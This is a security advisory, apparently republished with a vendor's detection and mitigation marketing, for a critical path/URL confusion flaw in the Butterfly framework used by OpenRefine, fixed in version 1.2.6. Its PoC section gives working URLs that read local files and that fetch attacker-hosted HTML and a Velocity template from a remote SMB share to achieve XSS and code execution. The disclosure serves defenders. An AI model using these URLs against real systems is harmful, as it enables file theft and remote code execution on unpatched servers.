GHSA-3p8v-w8mr-m3x8
CRITICALButterfly has path/URL confusion in resource handling leading to multiple weaknesses
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
org.openrefine.dependencies:butterflyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Butterfly framework uses the java.net.URL class to refer to (what are expected to be) local resource files, like images or templates. This works: "opening a connection" to these URLs opens the local file. However, if a file:/ URL is directly given where a relative path (resource name) is expected, this is also accepted in some code paths; the app then fetches the file, from a remote machine if indicated, and uses it as if it was a trusted part of the app's codebase.
This leads to multiple weaknesses and potential weaknesses:
- An attacker that has network access to the application could use it to gain access to files, either on the the server's filesystem (path traversal) or shared by nearby machines (server-side request forgery with e.g. SMB).
- An attacker that can lead or redirect a user to a crafted URL belonging to the app could cause arbitrary attacker-controlled JavaScript to be loaded in the victim's browser (cross-site scripting).
- If an app is written in such a way that an attacker can influence the resource name used for a template, that attacker could cause the app to fetch and execute an attacker-controlled template (remote code execution).
Details
The edu.mit.simile.butterfly.ButterflyModuleImpl.getResource method converts a resource name into an URL, for instance:
images/logo-gem-126.svg
file:/C:/Users/Wander/IdeaProjects/OpenRefine/main/webapp/modules/core/images/logo-gem-126.svg
If the resource name already starts with file:/, it is passed through unmodified (line 287). There is no check that the resulting URL is inside the expected directory or on the same machine.
The default implementation for process in ButterflyModuleImpl is to serve a named resource, which makes it vulnerable. The Velocity template library is bound to the same getResource implementation through the ButterflyResourceLoader class, which means it is also vulnerable if template resource names can somehow be influenced by an attacker.
PoC
This demonstration has been tested with OpenRefine on a Windows machine. Start OpenRefine, create a file (here example.js) with some contents, then concatenate the OpenRefine URL and its file:/ URL, as follows:
http://localhost:3333/file:/C:/Users/Wander/example.js
The file is read and sent to the browser. Then, visit:
http://localhost:3333/file:%2f%2fwandernauta.nl/public/demo.html
Assuming there are no firewalls in the way, the HTML page is retrieved from the public SMB (Samba) network share and sent to the browser, which executes the embedded JavaScript.
In the case of OpenRefine specifically, to demonstrate the attacker-controlled template name case:
http://localhost:3333/file:%2f%2fwandernauta.nl/public/index
An index.vt template containing the snippet above is retrieved from the same share, which is then executed; the Windows calculator opens.
Impact
Depending on how the framework is used: path traversal, XSS, SSRF; potentially RCE.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.openrefine.dependencies:butterfly | all versions | 1.2.6 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.openrefine.dependencies:butterfly. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update org.openrefine.dependencies:butterfly to 1.2.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3p8v-w8mr-m3x8 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-3p8v-w8mr-m3x8 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-3p8v-w8mr-m3x8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-3p8v-w8mr-m3x8 in your dependencies?
O3 detects GHSA-3p8v-w8mr-m3x8 across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.